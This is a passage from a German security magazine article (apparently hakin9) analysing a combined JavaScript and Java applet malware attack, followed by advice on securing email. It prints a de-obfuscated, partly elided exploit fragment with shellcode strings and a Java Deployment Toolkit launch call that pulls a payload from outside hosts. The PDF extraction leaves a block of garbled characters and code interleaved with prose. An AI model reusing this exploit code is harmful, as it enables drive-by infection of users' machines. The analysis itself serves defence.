Magazin als PDF - Bites, Bytes and my 5 cents - portfolio

Malware-Doppelschlag per JavaScript und JavaApplet
Listing 5. Codefragment des entschleierten JavaScript
verdeutlicht das Potential:
var fdata;
var skd='%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%
ued83% ... %u6870%u0070';
var skd1=skd + '%u7468%u7074% ... %u0038%u9000';
var skd2=skd + '%u7468%u7074% ... %u0032%u9000';
function JAVASMB() {
try {
/* see http://www.exploit-db.com/exploits/12117/ for
exploit description */
var u = 'HTTP: -J-jar -J\\bittoram.com\smb\old.
avi http://arestyute.com/
sadhbdsa879321jbdas/l.php?i=2
none';
if (window.navigator.appName == 'Microsoft Internet
Explorer') {
try {
var o = document.createElement('OBJECT');
o.classid = 'clsid:CAFEEFAC-DEC7-0000-0000-
ABCDEFFEDCBA';
o.launch(u);
} catch (e) {
var o2 = document.createElement('OBJECT');
o2.classid = 'clsid:8AD9C840-044E-11D1-B3E9-
00805F499D93';
o2.launch(u);
}
das Verbieten von JavaScript 3 , was moderne, Ajaxbasierte
Internetseiten nahezu unbenutzbar macht,
hätte auf das Laden des Java Applets keine Auswirkung.
Wie kann man derartigen heterogenen Bedrohungen
begegnen? Das häufigste Einfallstor für Schadsoftware
bleibt die E-Mail. Also ist die Absicherung
der E-Mail-Kommunikation der erste und wichtigste
Schritt zur Sicherung des Systems. Moderne Anti-Spam
und Anti-Virenprogramme sind in der Lage
Massenmails mit gefährlichen Anhängen zu erken-
��� ����������������������������������������������������������
������������������
��� ���������������������������������������������������������
��������������� ����� ������ ������� ��� ������������ ����
���������� ���� ��������� ���� ����������� ���� �����������
����������� ����� ������ ����� ���� ��������� ����� ����������
����������������������������������������������������������
��������������������������������������������������������
���������������������������������������������������������
��������������������������������������������������������
���� ����������� ���������� �������� �������� http://de-
.wikipedia.org/wiki/Java_Virtual_Machine
��� ���������������������������������������������������������
fox.
} else {
var o = document.createElement('OBJECT');
var n = document.createElement('OBJECT');
o.type = 'application/npruntime-scriptableplugin;deploymenttoolkit';
n.type = 'application/java-deployment-toolkit';
document.body.appendChild(o);
document.body.appendChild(n);
try {
o.launch(u);
} catch (e) {
n.launch(u);
}
}
} catch (e) {
IEPEERS();
}
IEPEERS();
}
...
JAVASMB();
nen, bevor entsprechende Signaturen bereitstehen.
Weiterhin sollte der ausgehende E-Mail-Verkehr mit
gleicher Sorgfalt auf Spam und Viren geprüft werden
wie der eingehende. Nur so kann man feststellen,
ob man bereits ungewollt zum Spam- und Virenversender
geworden ist. Am besten funktioniert dies
mit einer ausgelagerten E-Mail-Sicherheitslösung, da
der Anbieter meist von der Masse der empfangenen
und analysierten E-Mails profitiert, sprich Bedrohungen
meist schneller erkennt als der einzeln agierende
Mail-Server-Administrator. Und letzen Endes gilt
immer noch: Öffnen Sie keine E-Mails oder Anhänge
von Unbekannten.
MICHAEL PEICK
Entwickler und Mitglied des eleven Research Teams
hakin9.org/de 15